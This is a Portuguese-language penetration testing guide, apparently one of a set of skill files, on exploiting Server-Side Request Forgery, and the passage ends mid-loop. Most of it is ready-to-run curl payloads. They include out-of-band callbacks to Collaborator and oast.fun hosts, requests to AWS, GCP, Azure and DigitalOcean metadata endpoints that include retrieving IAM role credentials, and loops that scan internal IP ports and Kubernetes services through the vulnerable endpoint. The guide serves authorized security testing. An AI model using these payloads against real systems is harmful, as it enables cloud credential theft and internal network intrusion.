Explorando Server-Side Request Forgery (SSRF)

Quando Usar

• Durante testes de penetração autorizados quando a aplicação busca URLs fornecidas por usuários (webhooks, pré-visualizações de URL, importação de arquivos)
• Ao testar aplicações hospedadas na nuvem para acesso a serviços de metadados de instância
• Para avaliar geradores de PDF, serviços de captura de tela ou qualquer funcionalidade que renderize conteúdo externo
• Ao avaliar arquiteturas de microsserviços para acesso a serviços internos via SSRF
• Durante avaliações de segurança de APIs que aceitam parâmetros de URL para busca de dados

Pré-requisitos

• Autorização: Contrato de teste de penetração por escrito, incluindo o escopo de testes SSRF
• Burp Suite Professional: Com Collaborator para detecção out-of-band (OOB)
• interactsh: Servidor de interação OOB de código aberto (go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
• SSRFmap: Framework automatizado de exploração SSRF (git clone https://github.com/swisskyrepo/SSRFmap.git)
• curl: Para testes manuais de payloads SSRF
• Conhecimento da infraestrutura alvo: Provedor de nuvem (AWS, GCP, Azure), faixas de IP internas

Fluxo de Trabalho

Passo 1: Identificar Funcionalidades Suscetíveis a SSRF

Mapeie todas as funcionalidades da aplicação que realizam requisições HTTP do lado do servidor.

# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features

# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "Testing param: $param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done

Passo 2: Acessar Metadados de Instância na Nuvem

Teste payloads SSRF direcionados a serviços de metadados do provedor de nuvem.

# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - Get IAM role credentials
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

Passo 3: Escanear Rede Interna via SSRF

Use a vulnerabilidade SSRF para descobrir serviços e portas internas.

# Escaneamento de rede interna - faixas privadas comuns
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Serviços internos do Kubernetes
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# Acessar painéis de administração internos
for path in /admin /console /actuator/env /server-status /_cat/indices; do

…